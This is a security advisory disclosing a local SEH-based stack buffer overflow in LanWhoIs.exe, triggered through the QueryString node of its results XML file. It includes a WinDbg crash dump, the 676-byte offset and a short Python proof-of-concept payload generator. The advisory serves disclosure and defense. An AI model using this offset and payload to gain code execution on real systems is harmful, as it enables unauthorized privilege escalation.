LanWhoIs.exe 1.0.1.120 Buffer Overflow

`[+] Credits: hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-LANWHOIS-BUFFER-OVERFLOW-10062015.txt  
  
  
  
Vendor:  
================================  
www.lantricks.com  
  
  
  
Product:  
================================  
LanWhoIs.exe 1.0.1.120  
  
LanWhoIs querys and returns domain (site) holder or IP address informations.  
  
  
Vulnerability Type:  
===================  
Buffer Overflow  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
======================  
  
LanWhoIs contains a file parsing stack buffer overflow vulnerability. The program has a whois_result.xml  
XML file located under the LanWhoIs directory. This file holds results returned from program queries. If  
LanWhoIs is installed under c:\ instead of 'Program Files' etc.. on shared PC and a non adminstrator user  
has access they can still edit the whois_result.xml, abusing the vuln program and possibly escalate privileges  
or run arbitrary code etc.  
  
e.g.  
  
<WhoisResult>  
<Result>  
<QueryString>216.239.37.99</QueryString>  
<ServerName>whois.arin.net</ServerName>  
<QueryDate>02.01.2005 16:17:30</QueryDate>  
<QueryType>-1</QueryType>  
  
We can exploit the program by injecting malicious payload into the <QueryString> node of the local XML file  
causing buffer overflow overwriting both pointers to the NSEH & SEH exception handlers & control EIP at about 676 bytes.  
  
e.g.  
  
<QueryString>AAAAAAAAAAAAAAAAAAAAAAAAAAAAA.....shellcode...etc..</QueryString>  
  
  
WinDbg stack dump....  
  
(2048.17cc): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
*** WARNING: Unable to verify checksum for image00400000  
*** ERROR: Module load completed but symbols could not be loaded for image00400000  
eax=02bdfec8 ebx=02bdff14 ecx=02bdfecc edx=41414141 esi=00000000 edi=00000000  
eip=00404bc8 esp=02bdfc04 ebp=02bdfecc iopl=0 nv up ei pl nz na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206  
  
image00400000+0x4bc8:  
00404bc8 8b4af8 mov ecx,dword ptr [edx-8] ds:002b:41414139=????????  
0:011> !exchain  
02bdfed4: 52525252  
Invalid exception stack at 42424242  
  
registers...  
  
EAX 00000000  
ECX 52525252  
EDX 7714B4AD ntdll.7714B4AD  
EBX 00000000  
ESP 04D0F668  
EBP 04D0F688  
ESI 00000000  
EDI 00000000  
EIP 52525252  
  
  
POC code:  
==========  
  
Run below script, then copy and insert payload into <QueryString> </QueryString> XML node  
and run the application. Next, select the address in the Results window pane and then click Query button  
to run a whois lookup or use the 'F3' keyboard cmd to execute and KABOOOOOOOOOOOOOOOM!!!  
  
  
file=open("C:\\hyp3rlinx\\LanTricks\LanWhoIs\\HELL","w")  
payload="A"*676+"BBBB"+"RRRR" <--------------------#KABOOOOOOOOOOOOOOOOOOM!!!  
file.write(payload)  
file.close()  
  
  
  
Public Disclosure:  
===================  
October 6, 2015   
  
  
  
  
Exploitation Technique:  
=======================  
Local  
Tested on Windows 7 SP1  
  
  
  
Vulnerable Parameter:  
======================  
QueryString  
  
  
  
  
===========================================================  
  
[+] Disclaimer  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.  
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.  
  
by hyp3rlinx`